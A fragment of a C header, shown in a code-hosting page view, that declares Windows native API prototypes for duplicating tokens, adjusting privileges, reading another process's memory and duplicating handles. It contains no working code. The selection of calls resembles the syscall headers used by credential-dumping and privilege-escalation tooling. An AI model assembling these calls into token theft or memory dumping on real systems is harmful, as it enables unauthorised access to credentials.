IN PCLIENT_ID ClientId OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtDuplicateToken(
|
||||
IN HANDLE ExistingTokenHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN BOOLEAN EffectiveOnly,
|
||||
IN TOKEN_TYPE TokenType,
|
||||
OUT PHANDLE NewTokenHandle);
|
||||
|
||||
EXTERN_C NTSTATUS NtReadVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress OPTIONAL,
|
||||
OUT PVOID Buffer,
|
||||
IN SIZE_T BufferSize,
|
||||
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtAdjustPrivilegesToken(
|
||||
IN HANDLE TokenHandle,
|
||||
IN BOOLEAN DisableAllPrivileges,
|
||||
IN PTOKEN_PRIVILEGES NewState OPTIONAL,
|
||||
IN ULONG BufferLength,
|
||||
OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL,
|
||||
OUT PULONG ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcessToken(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
OUT PHANDLE TokenHandle);
|
||||
|
||||
EXTERN_C NTSTATUS NtDuplicateObject(
|
||||
IN HANDLE SourceProcessHandle,
|
||||
IN HANDLE SourceHandle,
|
||||
IN HANDLE TargetProcessHandle OPTIONAL,
|
||||
OUT PHANDLE TargetHandle OPTIONAL,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN ULONG HandleAttributes,
|
||||
IN ULONG Options);
|
||||
|
||||
EXTERN_C NTSTATUS NtQuerySystemInformation(
|
||||
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
IN OUT PVOID SystemInformation,
|
||||
IN ULONG SystemInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryObject(
|
||||
IN HANDLE Handle,
|
||||
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
|
||||
OUT PVOID ObjectInformation OPTIONAL,
|
||||
IN ULONG ObjectInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL);
|
||||
Reference in New Issue
Block a user